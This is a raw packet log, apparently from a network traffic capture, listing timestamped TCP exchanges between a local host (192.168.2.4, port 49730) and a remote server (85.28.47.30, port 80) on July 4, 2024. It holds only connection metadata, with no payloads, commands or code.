Jul 4, 2024 20:34:05.287060022 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:05.287066936 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:34:05.287091017 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:34:05.287094116 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:05.287106037 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:05.287122965 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:34:05.287163019 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:34:05.287220001 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:05.287229061 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:05.287237883 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:05.287247896 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:05.287256956 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:05.287266016 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:05.287271976 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:34:05.287281036 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:05.287292004 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:05.287306070 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:34:05.287317991 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:05.287328005 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:05.287331104 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:34:05.287338018 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:05.287347078 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:34:05.287348032 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:05.287358046 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:05.287368059 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:05.287400007 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:34:05.287405014 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:05.287420034 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:05.287430048 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:05.287434101 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:34:05.287446022 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:05.287460089 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:34:05.287480116 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:34:05.287517071 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:34:05.287519932 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:05.287537098 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:05.287548065 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:05.287556887 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:05.287566900 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:34:05.287569046 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:05.287580013 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:05.287590027 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:05.287596941 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:34:05.287614107 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:05.287623882 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:05.287636042 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:34:05.287659883 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:34:05.287695885 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:05.287705898 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:05.287714958 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:05.287724972 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:05.287734985 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:05.287750959 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:34:05.287779093 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:34:05.287807941 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:05.287818909 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:05.287827969 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:05.287837982 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:05.287851095 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:34:05.287854910 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:05.287864923 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:05.287874937 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:05.287885904 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:05.287892103 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:34:05.287931919 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:34:05.287950039 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:05.287961006 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:05.287997007 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:34:05.288119078 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:05.288129091 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:05.288142920 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:05.288151979 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:05.288161039 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:05.288165092 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:34:05.288171053 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:05.288182020 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:05.288191080 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:05.288199902 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:05.288208961 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:05.288216114 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:34:05.288218975 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:05.288235903 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:05.288247108 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:05.288255930 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:05.288270950 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:34:05.288300037 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:34:05.288306952 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:05.288316965 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:05.288347960 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:34:05.288386106 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:34:05.288408041 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:05.288418055 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:05.288428068 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:05.288436890 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:05.288446903 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:05.288458109 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:34:05.288486958 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:05.288496971 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:05.288496971 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:34:05.288506985 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:05.288516998 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:05.288535118 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:34:05.288556099 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:34:05.288610935 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:05.288621902 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:05.288660049 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:34:05.379937887 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:05.379951954 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:05.379968882 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:05.379980087 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:05.379988909 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:05.380000114 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:05.380009890 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:05.380022049 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:34:05.380060911 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:05.380070925 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:05.380070925 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:34:05.380080938 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:05.380106926 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:34:05.380140066 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:34:05.380188942 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:05.380206108 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:05.380215883 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:05.380227089 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:05.380240917 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:34:05.380281925 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:34:05.380516052 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:05.380558968 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:34:05.380580902 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:05.380592108 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:05.380616903 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:05.380626917 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:34:05.380628109 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:05.380641937 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:05.380666971 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:34:05.380698919 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:34:05.380723953 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:05.380733967 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:05.380743980 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:05.380759954 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:05.380767107 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:34:05.380774975 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:05.380788088 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:34:05.380826950 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:34:05.380985022 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:05.380995035 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:05.381005049 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:05.381036043 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:34:05.381057024 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:34:05.381063938 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:05.381074905 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:05.381086111 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:05.381095886 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:05.381107092 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:34:05.381130934 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:34:05.381162882 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:34:05.381170034 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:05.381186008 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:05.381196022 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:05.381206036 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:05.381216049 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:05.381222963 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:34:05.381227016 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:05.381236076 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:34:05.381237984 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:05.381248951 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:05.381258965 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:05.381274939 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:34:05.381300926 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:34:05.381337881 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:05.381349087 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:05.381380081 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:34:05.381386995 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:05.381397963 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:05.381417036 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:34:05.381436110 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:34:05.381449938 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:05.381460905 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:05.381470919 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:05.381481886 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:05.381491899 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:05.381504059 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:34:05.381520987 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:34:05.381524086 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:05.381534100 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:05.381544113 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:05.381551981 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:34:05.381553888 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:05.381584883 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:34:05.381624937 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:34:05.381741047 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:05.381751060 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:05.381761074 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:05.381769896 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:05.381779909 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:05.381787062 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:34:05.381789923 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:05.381800890 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:05.381810904 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:05.381820917 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:05.381829977 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:05.381838083 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:34:05.381839037 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:05.381849051 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:05.381855965 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:34:05.381865025 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:05.381880999 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:05.381884098 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:34:05.381892920 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:05.381902933 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:05.381907940 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:34:05.381912947 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:05.381931067 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:05.381932020 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:34:05.381942034 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:05.381952047 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:05.381963968 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:05.381967068 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:34:05.381975889 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:05.381994009 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:34:05.382019043 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:34:05.382117987 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:05.382128000 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:05.382138014 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:05.382148027 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:05.382158041 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:05.382167101 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:05.382169962 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:34:05.382178068 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:05.382188082 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:05.382198095 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:34:05.382220030 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:34:05.382244110 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:34:05.382272005 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:05.382282972 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:05.382292986 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:05.382304907 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:05.382313967 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:05.382320881 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:34:05.382324934 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:05.382335901 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:05.382355928 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:34:05.382381916 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:34:05.382405996 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:05.382416964 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:05.382456064 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:34:05.382488012 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:05.382498980 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:05.382527113 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:05.382533073 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:34:05.382538080 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:05.382550001 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:05.382575035 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:34:05.382603884 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:34:05.382627010 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:05.382637978 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:05.382647038 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:05.382679939 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:34:05.382702112 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:34:05.382707119 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:05.382718086 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:05.382728100 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:05.382739067 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:05.382749081 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:05.382756948 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:34:05.382760048 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:05.382791996 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:34:05.382807016 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:34:05.382977009 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:05.382987022 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:05.382997036 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:05.383007050 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:05.383017063 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:05.383033037 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:34:05.383069992 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:34:05.475461960 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:05.475500107 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:05.475511074 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:05.475528955 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:05.475538969 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:05.475544930 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:05.475562096 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:34:05.475585938 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:34:05.475613117 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:34:05.475640059 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:05.475656986 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:05.475667000 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:05.475677967 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:05.475686073 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:34:05.475687981 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:05.475698948 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:05.475711107 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:05.475719929 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:05.475720882 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:34:05.475730896 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:05.475753069 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:34:05.475785017 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:34:05.475817919 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:05.475828886 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:05.475838900 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:05.475851059 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:05.475869894 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:34:05.475887060 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:34:05.475989103 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:05.476000071 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:05.476008892 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:05.476018906 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:05.476028919 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:05.476036072 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:34:05.476043940 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:05.476053953 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:05.476063013 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:05.476068020 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:34:05.476074934 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:05.476092100 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:34:05.476114035 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:05.476119041 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:34:05.476124048 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:05.476133108 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:05.476142883 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:05.476151943 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:05.476162910 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:34:05.476162910 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:05.476174116 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:05.476185083 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:34:05.476208925 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:34:05.476226091 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:34:05.476264954 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:05.476275921 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:05.476284981 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:05.476295948 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:05.476306915 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:05.476314068 CEST	49730	80	192.168.2.4	85.28.47.30
